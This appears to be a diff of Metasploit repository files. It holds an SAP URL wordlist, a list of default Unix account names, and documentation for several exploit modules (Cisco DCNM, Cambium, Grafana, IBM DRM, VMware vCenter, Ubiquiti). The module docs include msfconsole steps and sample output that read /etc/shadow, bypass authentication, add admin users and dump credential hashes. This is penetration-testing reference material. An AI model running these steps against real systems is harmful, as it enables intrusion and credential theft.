/sap/bc/webdynpro/sap/wd_analyze_config_user
|
||||
/sap/bc/webdynpro/sap/wdhc_application
|
||||
/sap/bc/webdynpro/sap/WDR_TEST_ADOBE
|
||||
/sap/bc/webdynpro/sap/WDR_TEST_EVENTS
|
||||
/sap/bc/webdynpro/sap/wdr_test_popups_rt
|
||||
/sap/bc/webdynpro/sap/WDR_TEST_TABLE
|
||||
/sap/bc/webdynpro/sap/wdr_test_ui_elements
|
||||
/sap/bc/webdynpro/sap/WDR_TEST_WINDOW_ERROR
|
||||
/sap/bc/webrfc
|
||||
/sap/bc/workflow/shortcut
|
||||
/sap/bc/xrfc
|
||||
/sap/bc/xrfc_test
|
||||
/sap/BSSP_SP_MAPS
|
||||
/sap/crm
|
||||
/sap/es/atk
|
||||
/sap/es/cockpit
|
||||
/sap/es/getdocument
|
||||
/sap/es/opensearch
|
||||
/sap/es/opensearch/description
|
||||
/sap/es/opensearch/list
|
||||
/sap/es/opensearch/search
|
||||
/sap/es/redirect
|
||||
/sap/es/saplink
|
||||
/sap/es/search
|
||||
/sap/gw
|
||||
/sap/gw/bep
|
||||
/sap/gw/jsonrpc
|
||||
/SAPIKS
|
||||
/SAPIKS2
|
||||
/SAPIKS2/contentShow.sap
|
||||
/SAPIKS2/jsp/adminShow.jsp
|
||||
/SAPIrExtHelp
|
||||
/sap/IStest
|
||||
/sapmc/sapmc.html
|
||||
/sap/monitoring/
|
||||
/sap/public
|
||||
/sap/public/bc
|
||||
/sap/public/bc/abap
|
||||
/sap/public/bc/abap/docu
|
||||
/sap/public/bc/abap/mime_demo
|
||||
/sap/public/bc/abap/toolsdocu
|
||||
/sap/public/bc/apc_test
|
||||
/sap/public/bc/apc_test/apc_tcp_test_sf
|
||||
/sap/public/bc/apc_test/apc_tcp_test_sl
|
||||
/sap/public/bc/AR_NEWS_REDRCT
|
||||
/sap/public/bc/bpo
|
||||
/sap/public/bc/bsp
|
||||
/sap/public/bc/clms
|
||||
/sap/public/bc/crm_cic_ipaddr
|
||||
/sap/public/bc/crm_cic_polling
|
||||
/sap/public/bc/dashboard
|
||||
/sap/public/bc/icf
|
||||
/sap/public/bc/icf/logoff
|
||||
/sap/public/bc/icons
|
||||
/sap/public/bc/icons_rtl
|
||||
/sap/public/bc/its
|
||||
/sap/public/bc/its/designs
|
||||
/sap/public/bc/its/img
|
||||
/sap/public/bc/its/mimes
|
||||
/sap/public/bc/its/mimes/system/SL/page/hourglass.html
|
||||
/sap/public/bc/its/mobile
|
||||
/sap/public/bc/its/mobile/itsmobile00
|
||||
/sap/public/bc/its/mobile/itsmobile01
|
||||
/sap/public/bc/its/mobile/rfid
|
||||
/sap/public/bc/its/mobile/start
|
||||
/sap/public/bc/its/mobile/test
|
||||
/sap/public/bc/its/scripts
|
||||
/sap/public/bc/jsm
|
||||
/sap/public/bc/NWDEMO_MODEL
|
||||
/sap/public/bc/NW_ESH_TST_AUTO
|
||||
/sap/public/bc/pictograms
|
||||
/sap/public/bc/qgm
|
||||
/sap/public/bc/sec
|
||||
/sap/public/bc/sec/cdc_ext_service
|
||||
/sap/public/bc/sec/oauth2
|
||||
/sap/public/bc/sec/oauth2/client
|
||||
/sap/public/bc/sec/oauth2/client/redirect
|
||||
/sap/public/bc/sec/saml2
|
||||
/sap/public/bc/sicf_login_run
|
||||
/sap/public/bc/themes
|
||||
/sap/public/bc/tmp_wd_mimes
|
||||
/sap/public/bc/trex
|
||||
/sap/public/bc/ui2
|
||||
/sap/public/bc/ui5_ui5
|
||||
/sap/public/bc/ui5_ui5/ILMRWC
|
||||
/sap/public/bc/uics
|
||||
/sap/public/bc/uics/whitelist
|
||||
/sap/public/bc/ur
|
||||
/sap/public/bc/wdtracetool
|
||||
/sap/public/bc/webdynpro
|
||||
/sap/public/bc/webdynpro/adobechallenge
|
||||
/sap/public/bc/webdynpro/adobeChallenge
|
||||
/sap/public/bc/webdynpro/mimes
|
||||
/sap/public/bc/webdynpro/Polling
|
||||
/sap/public/bc/webdynpro/ssr
|
||||
/sap/public/bc/webdynpro/viewdesigner
|
||||
/sap/public/bc/webdynpro/ViewDesigner
|
||||
/sap/public/bc/webicons
|
||||
/sap/public/bc/workflow
|
||||
/sap/public/bc/workflow/shortcut
|
||||
/sap/public/bsp
|
||||
/sap/public/bsp/sap
|
||||
/sap/public/bsp/sap/htmlb
|
||||
/sap/public/bsp/sap/public
|
||||
/sap/public/bsp/sap/public/bc
|
||||
/sap/public/bsp/sap/public/faa
|
||||
/sap/public/bsp/sap/public/FAA
|
||||
/sap/public/bsp/sap/public/graphics
|
||||
/sap/public/bsp/sap/public/graphics/jnet_handler
|
||||
/sap/public/bsp/sap/public/graphics/mimes
|
||||
/sap/public/bsp/sap/public/ISE
|
||||
/sap/public/bsp/sap/public/SEM
|
||||
/sap/public/bsp/sap/system
|
||||
/sap/public/bsp/sap/system_public
|
||||
/sap/public/BusinessSuite
|
||||
/sap/public/BusinessSuite/BCV
|
||||
/sap/public/BusinessSuite/BSSP
|
||||
/sap/public/BusinessSuite/CBESH_ICONS
|
||||
/sap/public/BusinessSuite/CloCo
|
||||
/sap/public/BusinessSuite/TM
|
||||
/sap/public/BusinessSuite/TM/FlashIslands
|
||||
/sap/public/BusinessSuite/TM/Icons
|
||||
/sap/public/BusinessSuite/TM/Icons_rtl
|
||||
/sap/public/E2EALERT
|
||||
/sap/public/ES
|
||||
/sap/public/HRPDV
|
||||
/sap/public/HRPDV/Icons
|
||||
/sap/public/HRRenewal
|
||||
/sap/public/HRRenewal/PB
|
||||
/sap/public/icf_check
|
||||
/sap/public/icf_info
|
||||
/sap/public/icf_info/icr_groups
|
||||
/sap/public/icf_info/icr_urlprefix
|
||||
/sap/public/icf_info/logon_groups
|
||||
/sap/public/icf_info/urlprefix
|
||||
/sap/public/icman
|
||||
/sap/public/icman/ping
|
||||
/sap/public/info
|
||||
/sap/public/LSOFE
|
||||
/sap/public/LSOFE/IconLarge
|
||||
/sap/public/LSOFE/IconLarge/CORBU
|
||||
/sap/public/LSOFE/IconLarge/TRADESHOW
|
||||
/sap/public/LSOFE/Pictogram
|
||||
/sap/public/LSOFE/Pictogram/CORBU
|
||||
/sap/public/LSOFE/Pictogram/TRADESHOW
|
||||
/sap/public/myssocntl
|
||||
/sap/public/opu
|
||||
/sap/public/opu/resources
|
||||
/sap/public/ping
|
||||
/sap/public/PPM
|
||||
/sap/public/PPM/PFM
|
||||
/sap/public/PPM/PFM/BCV
|
||||
/sap/public/PPM/PFM/UI
|
||||
/sap/public/PPM/PRO
|
||||
/sap/wdisp/admin
|
||||
/sap/wdvd
|
||||
/sap/webcuif
|
||||
/sap/webdynpro/sap/hap_main_document
|
||||
/sap/webdynpro/sap/hap_start_page_powl_ui_ess
|
||||
/sap/webdynpro/sap/hap_store_page_powl_ui_mss
|
||||
/sap/webdynpro/sap/hrtmc_employee_profile
|
||||
/sap/webdynpro/sap/hrtmc_rm_maintenance
|
||||
/sap/webdynpro/sap/hrtmc_ta_assessment
|
||||
/sap/webdynpro/sap/hrtmc_ta_dashboard
|
||||
/sap/webdynpro/sap/wd_analyze_config_user
|
||||
/scripts/wgate
|
||||
/servlet/com.sap.admin.Critical.Actio
|
||||
/sim/
|
||||
/sim/config/testdata.jsp
|
||||
/sim/config/testerror.jsp
|
||||
/sim/index.html
|
||||
/SLDStart/plain
|
||||
/SLDStart/secure
|
||||
/socoview
|
||||
/socoview/flddisplay.asp
|
||||
/SQLtrace/index.html
|
||||
/sysconfig
|
||||
/tc/lm/webadmin/clusteradmin
|
||||
/tc.lm.webadmin.endtoend.public.app
|
||||
/teched/test
|
||||
/TestJDBC_Web
|
||||
/TOdbo
|
||||
/top.html
|
||||
/TSapq
|
||||
/TXmla
|
||||
/uddi/
|
||||
/uddiclient
|
||||
/uddiclient/jsps/index.jsp
|
||||
/uddiclient/process/
|
||||
/useradmin
|
||||
/userhome
|
||||
/utl/UsageTypesInfo
|
||||
/VC
|
||||
/vscantest/
|
||||
/webdynpro/dispatcher
|
||||
/webdynpro/dispatcher/
|
||||
/webdynpro/dispatcher/sap.com/grc~accvwdcomp
|
||||
/webdynpro/dispatcher/sap.com/grc~aewebquery
|
||||
/webdynpro/dispatcher/sap.com/grc~ccappcomp
|
||||
/webdynpro/dispatcher/sap.com/grc~ccxsysbe
|
||||
/webdynpro/dispatcher/sap.com/grc~ccxsysbehr
|
||||
/webdynpro/dispatcher/sap.com/grc~ffappcomp
|
||||
/webdynpro/dispatcher/sap.com/pb/pagebuilder
|
||||
/webdynpro/dispatcher/sap.com/tc~kmc~bc.uwl.ui~wd_ui
|
||||
/webdynpro/dispatcher/sap.com/tc~kmc~bc.uwl.ui~wd_ui/uwl
|
||||
/webdynpro/dispatcher/sap.com/tc~kmc~bc.uwl.ui~wd_ui/uwldetail
|
||||
/webdynpro/dispatcher/sap.com/tc~kmc~bc.uwl.ui~wd_ui/uwldisplayhistory
|
||||
/webdynpro/dispatcher/sap.com/tc~slm~ui_lup/LUP
|
||||
/webdynpro/dispatcher/sap.com/tc~wd~dispwda/servlet_jsp/webdynpro/welcome/root/Welcome.jsp
|
||||
/webdynpro/dispatcher/sap.com/tc~wd~tools
|
||||
/webdynpro/dispatcher/sap.com/tc~wd~tools/explorer
|
||||
/webdynpro/dispatcher/sap.com/tc~wd~tools/WebDynproConsole
|
||||
/webdynpro/dispatcher/virsa/ccappcomp/ComplianceCalibrator
|
||||
/webdynpro/resources/sap.com/
|
||||
/webdynpro/welcome/Welcome.jsp
|
||||
/WSConnector/Config1
|
||||
/WSConnector/Config1?wsdl
|
||||
/WSConnector/Config?wsdl
|
||||
/wsd2wsdl
|
||||
/wsnavigator
|
||||
/wsnavigator/jsps/index.jsp
|
||||
/wsnavigator/jsps/redirect.jsp
|
||||
/wsnavigator/jsps/sendrequest.jsp
|
||||
/wsnavigator/jsps/test.jsp
|
||||
/wssproc/cert
|
||||
/wssproc/plain
|
||||
/wssproc/ssl
|
||||
|
||||
@@ -1,88 +1,131 @@
|
||||
|
||||
4Dgifts
|
||||
EZsetup
|
||||
OutOfBox
|
||||
ROOT
|
||||
abrt
|
||||
adm
|
||||
admin
|
||||
administrator
|
||||
anon
|
||||
_apt
|
||||
arpwatch
|
||||
auditor
|
||||
avahi
|
||||
avahi-autoipd
|
||||
backup
|
||||
bbs
|
||||
beef-xss
|
||||
bin
|
||||
bitnami
|
||||
checkfs
|
||||
checkfsys
|
||||
checksys
|
||||
chronos
|
||||
chrony
|
||||
cmwlogin
|
||||
cockpit-ws
|
||||
colord
|
||||
couchdb
|
||||
cups-pk-helper
|
||||
daemon
|
||||
dbadmin
|
||||
dbus
|
||||
Debian-exim
|
||||
Debian-snmp
|
||||
demo
|
||||
demos
|
||||
diag
|
||||
distccd
|
||||
dni
|
||||
dnsmasq
|
||||
dradis
|
||||
EZsetup
|
||||
fal
|
||||
fax
|
||||
ftp
|
||||
games
|
||||
gdm
|
||||
geoclue
|
||||
gnats
|
||||
gnome-initial-setup
|
||||
gopher
|
||||
gropher
|
||||
guest
|
||||
haldaemon
|
||||
halt
|
||||
hplip
|
||||
inetsim
|
||||
informix
|
||||
install
|
||||
iodine
|
||||
irc
|
||||
jet
|
||||
karaf
|
||||
kernoops
|
||||
king-phisher
|
||||
landscape
|
||||
libstoragemgmt
|
||||
libuuid
|
||||
lightdm
|
||||
list
|
||||
listen
|
||||
lp
|
||||
lpadm
|
||||
lpadmin
|
||||
lxd
|
||||
lynx
|
||||
mail
|
||||
man
|
||||
me
|
||||
messagebus
|
||||
miredo
|
||||
mountfs
|
||||
mountfsys
|
||||
mountsys
|
||||
mysql
|
||||
news
|
||||
noaccess
|
||||
nobody
|
||||
nobody4
|
||||
ntp
|
||||
nuucp
|
||||
nxautomation
|
||||
nxpgsql
|
||||
omi
|
||||
omsagent
|
||||
operator
|
||||
oracle
|
||||
OutOfBox
|
||||
pi
|
||||
polkitd
|
||||
pollinate
|
||||
popr
|
||||
postfix
|
||||
postgres
|
||||
postmaster
|
||||
printer
|
||||
proxy
|
||||
pulse
|
||||
redsocks
|
||||
rfindd
|
||||
rje
|
||||
root
|
||||
ROOT
|
||||
rooty
|
||||
rpc
|
||||
rpcuser
|
||||
rtkit
|
||||
rwhod
|
||||
saned
|
||||
service
|
||||
setroubleshoot
|
||||
setup
|
||||
sgiweb
|
||||
shutdown
|
||||
sigver
|
||||
speech-dispatcher
|
||||
sshd
|
||||
sslh
|
||||
sssd
|
||||
stunnel4
|
||||
sym
|
||||
symop
|
||||
sync
|
||||
@@ -92,22 +135,34 @@ sysadmin
|
||||
sysbin
|
||||
syslog
|
||||
system_admin
|
||||
systemd-bus-proxy
|
||||
systemd-coredump
|
||||
systemd-network
|
||||
systemd-resolve
|
||||
systemd-timesync
|
||||
tcpdump
|
||||
trouble
|
||||
tss
|
||||
udadmin
|
||||
ultra
|
||||
umountfs
|
||||
umountfsys
|
||||
umountsys
|
||||
unix
|
||||
unscd
|
||||
us_admin
|
||||
usbmux
|
||||
user
|
||||
uucp
|
||||
uucpadm
|
||||
uuidd
|
||||
vagrant
|
||||
varnish
|
||||
web
|
||||
webmaster
|
||||
whoopsie
|
||||
www
|
||||
www-data
|
||||
xpdb
|
||||
xpopr
|
||||
zabbix
|
||||
vagrant
|
||||
|
||||
+1321
-1
File diff suppressed because one or more lines are too long
+5727
-1506
File diff suppressed because it is too large
Load Diff
@@ -56,7 +56,7 @@ All of the leaked versions are available in the module
|
||||
|
||||
`**` We currently can't distinguish between normal and NPE versions from the SNMP strings. We've commented out the NPE offsets, as NPE is very rare (it is for exporting to places where encryption is crappy), but in the future, we'd like to incorporate these versions. Perhaps as a bool option?
|
||||
|
||||
## Verification
|
||||
## Verification Steps
|
||||
|
||||
- Start `msfconsole`
|
||||
- `use auxiliary/admin/cisco/cisco_asa_extrabacon`
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
## Introduction
|
||||
## Vulnerable Application
|
||||
|
||||
Cisco Data Center Network Manager exposes a servlet to download files on /fm/downloadServlet.
|
||||
An authenticated user can abuse this servlet to download arbitrary files as root by specifying
|
||||
@@ -8,21 +8,7 @@ This module was tested on the DCNM Linux virtual appliance 10.4(2), 11.0(1) and
|
||||
work on a few versions below 10.4(2). Only version 11.0(1) requires authentication to exploit
|
||||
(see References to understand why), on the other versions it abuses CVE-2019-1619 to bypass authentication.
|
||||
|
||||
|
||||
## Author and discoverer
|
||||
|
||||
Pedro Ribeiro (pedrib@gmail.com) from Agile Information Security
|
||||
|
||||
|
||||
## References
|
||||
|
||||
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-bypass
|
||||
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-file-dwnld
|
||||
https://raw.githubusercontent.com/pedrib/PoC/master/exploits/metasploit/cisco_dcnm_download.rb
|
||||
https://seclists.org/fulldisclosure/2019/Jul/7
|
||||
|
||||
|
||||
## Usage
|
||||
## Scenarios
|
||||
|
||||
Setup RHOST, pick the file to download (FILENAME, default is /etc/shadow) and enjoy!
|
||||
|
||||
|
||||
@@ -8,7 +8,7 @@ Cambium cnPilot r200/r201 device software versions 4.2.3-R4 and newer, contain a
|
||||
4. Do: ```set CMD [command]```
|
||||
5. Do: ```run```
|
||||
|
||||
## Sample Output
|
||||
## Scenarios
|
||||
|
||||
```
|
||||
msf > use auxiliary/scanner/http/cnpilot_r_cmd_exec
|
||||
|
||||
@@ -1,3 +1,5 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module exploits a File Path Traversal vulnerability in Cambium cnPilot r200/r201 devices to read arbitrary files off the file system. Affected versions - 4.3.3-R4 and prior.
|
||||
|
||||
## Verification Steps
|
||||
@@ -8,7 +10,7 @@ This module exploits a File Path Traversal vulnerability in Cambium cnPilot r200
|
||||
4. Do: ```set FILENAME [filename]```
|
||||
5. Do: ```run```
|
||||
|
||||
## Sample Output
|
||||
## Scenarios
|
||||
|
||||
```
|
||||
msf > use auxiliary/scanner/http/cnpilot_r_fpt
|
||||
|
||||
@@ -8,7 +8,7 @@ This module exploits an OS Command Injection vulnerability in Cambium ePMP 1000
|
||||
4. Do: ```set CMD [COMMAND]```
|
||||
5. Do: ```run```
|
||||
|
||||
## Sample Output
|
||||
## Scenarios
|
||||
|
||||
```
|
||||
msf > use auxiliary/scanner/http/epmp1000_get_chart_cmd_exec
|
||||
|
||||
@@ -9,7 +9,7 @@ This module exploits an access control vulnerability in Cambium ePMP device mana
|
||||
5. Do: ```set NEW_PASSWORD newpass```
|
||||
6. Do: ```run```
|
||||
|
||||
## Sample Output
|
||||
## Scenarios
|
||||
|
||||
```
|
||||
msf > use use auxiliary/scanner/http/epmp1000_reset_pass
|
||||
|
||||
@@ -0,0 +1,55 @@
|
||||
## Vulnerable Application
|
||||
|
||||
The following list shows the vulnerable versions of Grafana when configured for LDAP or OAuth:
|
||||
|
||||
1. 2.x
|
||||
2. 3.x
|
||||
3. 4.x befroe 4.6.4
|
||||
4. 5.x before 5.2.3
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
2. Do: ``use auxiliary/admin/http/grafana_auth_bypass``
|
||||
3. Do: ``set username <username>`` or ``set cookie <cookie>``
|
||||
5. Do: ``set version``
|
||||
6. Do: ``set rhosts``
|
||||
7. Do: ``set rport``
|
||||
8. Do: ``run``
|
||||
|
||||
## Scenarios
|
||||
|
||||
Example run against Grafana 3.x with username admin:
|
||||
|
||||
```
|
||||
msf5 > use auxiliary/admin/http/grafana_auth_bypass
|
||||
msf5 auxiliary(admin/http/grafana_auth_bypass) > show options
|
||||
|
||||
Module options (auxiliary/admin/http/grafana_auth_bypass):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
COOKIE no Decrypt captured cookie
|
||||
RHOSTS 127.0.0.1 yes Address of target
|
||||
RPORT 3000 yes Port of target
|
||||
SSL false yes set SSL/TLS based connection
|
||||
TARGETURI / no Base URL of grafana instance
|
||||
THREADS 1 yes The number of concurrent threads
|
||||
USERNAME no Valid username
|
||||
VERSION 5 yes Grafana version: "2-4" or "5" (Accepted: 2-4, 5)
|
||||
|
||||
msf5 auxiliary(admin/http/grafana_auth_bypass) > set RHOSTS 192.168.202.3
|
||||
RHOSTS => 192.168.202.3
|
||||
msf5 auxiliary(admin/http/grafana_auth_bypass) > set USERNAME Administrator
|
||||
USERNAME => Administrator
|
||||
msf5 auxiliary(admin/http/grafana_auth_bypass) > run
|
||||
|
||||
[*] Running for 192.168.202.3...
|
||||
[+] Encrypted remember cookie: 1bedc565c40b58307afa4672efd72d3c37f02684c2deb0ce0b55594cbce337fc90625356dc232e998f
|
||||
[+] Set following cookies to get access to the grafana instance.
|
||||
[+] grafana_user=Administrator;
|
||||
[+] grafana_remember=a232b98b9365d3d8f7ce253adfb9779f1114131a68cc8cbb4a53ee6f5cb71acfbe25773e95db051021;
|
||||
[+] grafana_sess=4ecdc0c13ebca229;
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
@@ -0,0 +1,36 @@
|
||||
## Vulnerable Application
|
||||
|
||||
IBM Data Risk Manager (IDRM) contains two vulnerabilities that can be chained by an unauthenticated attacker to download arbitrary files off the system.
|
||||
The first is an unauthenticated bypass, followed by a path traversal.
|
||||
This module exploits both vulnerabilities, giving an attacker the ability to download (non-root) files.
|
||||
A downloaded file is zipped, and this module also unzips it before storing it in the database.
|
||||
By default, this module downloads Tomcat's 1application.properties` files, which contains the database password, amongst other sensitive data.
|
||||
At the time of disclosure, this is a 0day. Versions 2.0.3 and 2.0.2 are confirmed to be affected, and the latest 2.0.6 is most likely affected too. Version 2.0.1 is not vulnerable.
|
||||
|
||||
### Vulnerability information
|
||||
For more information about the vulnerability check the advisory at:
|
||||
https://github.com/pedrib/PoC/blob/master/advisories/IBM/ibm\_drm/ibm\_drm\_rce.md
|
||||
|
||||
### Setup
|
||||
|
||||
The application is available to download as a Linux virtual appliance from IBM's website. You need to have a valid IBM contract to be able to do so.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
Module defaults work very well, you should just need to set `RHOST` and the `FILEPATH` you want to download.
|
||||
|
||||
## Scenarios
|
||||
|
||||
A successful exploit will look like this:
|
||||
|
||||
```
|
||||
msf5 auxiliary(admin/http/ibm_drm_file_download) > run
|
||||
|
||||
[+] 10.9.8.213:8443 - Successfully "stickied" our session ID kmhleyPh
|
||||
[+] 10.9.8.213:8443 - We have obtained a new admin password 28010e88-6ffb-46e9-90d6-2ded732120d1
|
||||
[+] 10.9.8.213:8443 - We're now authenticated as admin!
|
||||
[+] File saved in: /home/conta/.msf4/loot/20200421154045_default_10.9.8.213_IBM_DRM.http_402604.bin
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
- Verify that the file was saved in the location specified.
|
||||
@@ -15,7 +15,7 @@ attacker on the local network can send a crafted request to broadcast a fake vid
|
||||
|
||||
Doo-doodoodoodoodoo-doo, Epic Sax Guy will be broadcasted to the remote system.
|
||||
|
||||
## Sample Output
|
||||
## Scenarios
|
||||
|
||||
```
|
||||
msf5 > use auxiliary/admin/http/supra_smart_cloud_tv_rfi
|
||||
|
||||
@@ -0,0 +1,120 @@
|
||||
## Vulnerable Application
|
||||
|
||||
### Description
|
||||
|
||||
This module bypasses LDAP authentication in VMware vCenter Server's
|
||||
vmdir service to add an arbitrary administrator user. Version 6.7
|
||||
prior to the 6.7U3f update is vulnerable.
|
||||
|
||||
### Setup
|
||||
|
||||
Tested in the wild. No setup notes available at this time, as setup will
|
||||
be specific to target environment.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
Follow [Setup](#setup) and [Scenarios](#scenarios).
|
||||
|
||||
## Actions
|
||||
|
||||
### Add
|
||||
|
||||
Add an admin user to the vCenter Server.
|
||||
|
||||
## Options
|
||||
|
||||
### USERNAME
|
||||
|
||||
Set this to the username for the new admin user.
|
||||
|
||||
### PASSWORD
|
||||
|
||||
Set this to the password for the new admin user.
|
||||
|
||||
### ConnectTimeout
|
||||
|
||||
You may configure the timeout for LDAP connects if necessary. The
|
||||
default is 10.0 seconds and should be more than sufficient.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### VMware vCenter Server 6.7 virtual appliance on ESXi
|
||||
|
||||
```
|
||||
msf5 > use auxiliary/admin/ldap/vmware_vcenter_vmdir_auth_bypass
|
||||
msf5 auxiliary(admin/ldap/vmware_vcenter_vmdir_auth_bypass) > options
|
||||
|
||||
Module options (auxiliary/admin/ldap/vmware_vcenter_vmdir_auth_bypass):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
PASSWORD no Password of admin user to add
|
||||
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
|
||||
RPORT 389 yes The target port
|
||||
USERNAME no Username of admin user to add
|
||||
|
||||
|
||||
Auxiliary action:
|
||||
|
||||
Name Description
|
||||
---- -----------
|
||||
Add Add an admin user
|
||||
|
||||
|
||||
msf5 auxiliary(admin/ldap/vmware_vcenter_vmdir_auth_bypass) > set rhosts [redacted]
|
||||
rhosts => [redacted]
|
||||
msf5 auxiliary(admin/ldap/vmware_vcenter_vmdir_auth_bypass) > set username msfadmin
|
||||
username => msfadmin
|
||||
msf5 auxiliary(admin/ldap/vmware_vcenter_vmdir_auth_bypass) > set password msfadmin
|
||||
password => msfadmin
|
||||
msf5 auxiliary(admin/ldap/vmware_vcenter_vmdir_auth_bypass) > run
|
||||
[*] Running module against [redacted]
|
||||
|
||||
[*] Using auxiliary/gather/vmware_vcenter_vmdir_ldap as check
|
||||
[*] Discovering base DN automatically
|
||||
[*] Searching root DSE for base DN
|
||||
dn: cn=DSE Root
|
||||
namingcontexts: dc=vsphere,dc=local
|
||||
supportedcontrol: 1.3.6.1.4.1.4203.1.9.1.1
|
||||
supportedcontrol: 1.3.6.1.4.1.4203.1.9.1.2
|
||||
supportedcontrol: 1.3.6.1.4.1.4203.1.9.1.3
|
||||
supportedcontrol: 1.2.840.113556.1.4.417
|
||||
supportedcontrol: 1.2.840.113556.1.4.319
|
||||
supportedldapversion: 3
|
||||
supportedsaslmechanisms: GSSAPI
|
||||
|
||||
[+] Discovered base DN: dc=vsphere,dc=local
|
||||
[*] Dumping LDAP data from vmdir service at [redacted]:389
|
||||
[+] [redacted]:389 is vulnerable to CVE-2020-3952
|
||||
[*] Storing LDAP data in loot
|
||||
[+] Saved LDAP data to /Users/wvu/.msf4/loot/20200417002255_default_[redacted]_VMwarevCenterS_975097.txt
|
||||
[*] Password and lockout policy:
|
||||
dn: cn=password and lockout policy,dc=vsphere,dc=local
|
||||
cn: password and lockout policy
|
||||
enabled: TRUE
|
||||
ntsecuritydescriptor:: [redacted]
|
||||
objectclass: top
|
||||
objectclass: vmwLockoutPolicy
|
||||
objectclass: vmwPasswordPolicy
|
||||
objectclass: vmwPolicy
|
||||
vmwpasswordchangeautounlockintervalsec: [redacted]
|
||||
vmwpasswordchangefailedattemptintervalsec: [redacted]
|
||||
vmwpasswordchangemaxfailedattempts: [redacted]
|
||||
vmwpasswordlifetimedays: [redacted]
|
||||
vmwpasswordmaxidenticaladjacentchars: [redacted]
|
||||
vmwpasswordmaxlength: [redacted]
|
||||
vmwpasswordminalphabeticcount: [redacted]
|
||||
vmwpasswordminlength: [redacted]
|
||||
vmwpasswordminlowercasecount: [redacted]
|
||||
vmwpasswordminnumericcount: [redacted]
|
||||
vmwpasswordminspecialcharcount: [redacted]
|
||||
vmwpasswordminuppercasecount: [redacted]
|
||||
vmwpasswordprohibitedpreviouscount: [redacted]
|
||||
|
||||
[*] Bypassing LDAP auth in vmdir service at [redacted]:389
|
||||
[*] Adding admin user msfadmin with password msfadmin
|
||||
[+] Added user msfadmin, so auth bypass was successful!
|
||||
[+] Added user msfadmin to admin group
|
||||
[*] Auxiliary module execution completed
|
||||
msf5 auxiliary(admin/ldap/vmware_vcenter_vmdir_auth_bypass) >
|
||||
```
|
||||
@@ -64,7 +64,7 @@ msf auxiliary(phoenix_command) > run
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
## Module Options
|
||||
## Options
|
||||
```
|
||||
msf auxiliary(phoenix_command) > show options
|
||||
|
||||
|
||||
@@ -9,8 +9,6 @@
|
||||
|
||||
## Verification Steps
|
||||
|
||||
Example steps in this format (is also in the PR):
|
||||
|
||||
1. Install the application
|
||||
2. Start msfconsole
|
||||
3. Do: ```use auxiliary/admin/smb/webexec_command```
|
||||
@@ -22,7 +20,7 @@
|
||||
|
||||
## Options
|
||||
|
||||
**FORCE_GUI**
|
||||
### FORCE_GUI
|
||||
|
||||
Uses WMIC to create a GUI
|
||||
|
||||
|
||||
@@ -0,0 +1,78 @@
|
||||
## General Notes
|
||||
|
||||
This module imports an Ubiquiti Unifi configuration file into the database.
|
||||
This is similar to `post/multi/gather/ubiquiti_unifi_backup` only access isn't required,
|
||||
and assumes you already have the file.
|
||||
|
||||
This module is able to take a unf file, from the controller and perform the following actions:
|
||||
|
||||
1. Decrypt the file
|
||||
2. Fix the zip file if a `zip` utility is on the system
|
||||
3. Extract db.gz
|
||||
4. Unzip the db file
|
||||
5. Import the db file
|
||||
|
||||
Or simply pass the db file for import directly.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Have a Ubiquiti Unifi configuration file (db or unf)
|
||||
2. Start `msfconsole`
|
||||
3. `use auxiliary/admin/ubiquiti/ubiquiti_config`
|
||||
4. `set RHOST x.x.x.x`
|
||||
5. `set CONFIG /tmp/file.unf`
|
||||
6. `run`
|
||||
|
||||
## Options
|
||||
|
||||
**RHOST**
|
||||
|
||||
Needed for setting services and items to. This is relatively arbitrary.
|
||||
|
||||
**CONFIG**
|
||||
|
||||
File path to the configuration unf or db file..
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Unf File
|
||||
```
|
||||
resource (unifi_config.rb)> use auxiliary/admin/ubiquiti/ubiquiti_config
|
||||
resource (unifi_config.rb)> set rhosts 127.0.0.1
|
||||
rhosts => 127.0.0.1
|
||||
resource (unifi_config.rb)> set config /root/.msf4/loot/20190825172544_default_1.1.1.1_ubiquiti.unifi.b_740136.unf
|
||||
config => /root/.msf4/loot/20190825172544_default_1.1.1.1_ubiquiti.unifi.b_740136.unf
|
||||
resource (unifi_config.rb)> run
|
||||
[*] Running module against 127.0.0.1
|
||||
[+] File DECRYPTED. Still needs to be repaired
|
||||
[*] Attempting to repair zip file (this is normal and takes some time)
|
||||
[+] File DECRYPTED and REPAIRED and saved to /tmp/fixed_zip.zip20190825-6283-1merolj.
|
||||
[*] extracting db.gz
|
||||
[*] Converting config BSON to JSON
|
||||
[+] Admin user unifiadmin with email admin@unifi.com found with password hash $6$R6qnBHgF$CHYrf4t.fXu0pcoloju5a85m3ujrjJLhIO.lN1xZqHZPQoUXXsJB98jgtsvt4Qo2/8t3epzbVLiba7Ls7GCVxcV.
|
||||
[+] Radius server: 1.1.1.1:1812 with secret ''
|
||||
[+] Mesh Wifi Network vwire-111117d211c1c1ea password 113b9b872b1114a9111f1a11ae11cdfe
|
||||
[+] SSH user admin found with password lyxGYOF9UalubyyG and hash $6$37uelU/k$EkJuteQiAIP.CrRaJj4xC9gt61n95FJP3fQuQQmE9TqtFKtmIGsV5XSIJI.muBLOMKMkdlsPl8E3BvjJit.F21
|
||||
[+] Config import successful
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
### db File
|
||||
|
||||
```
|
||||
resource (unifi_config.rb)> use auxiliary/admin/ubiquiti/ubiquiti_config
|
||||
resource (unifi_config.rb)> set rhosts 127.0.0.1
|
||||
rhosts => 127.0.0.1
|
||||
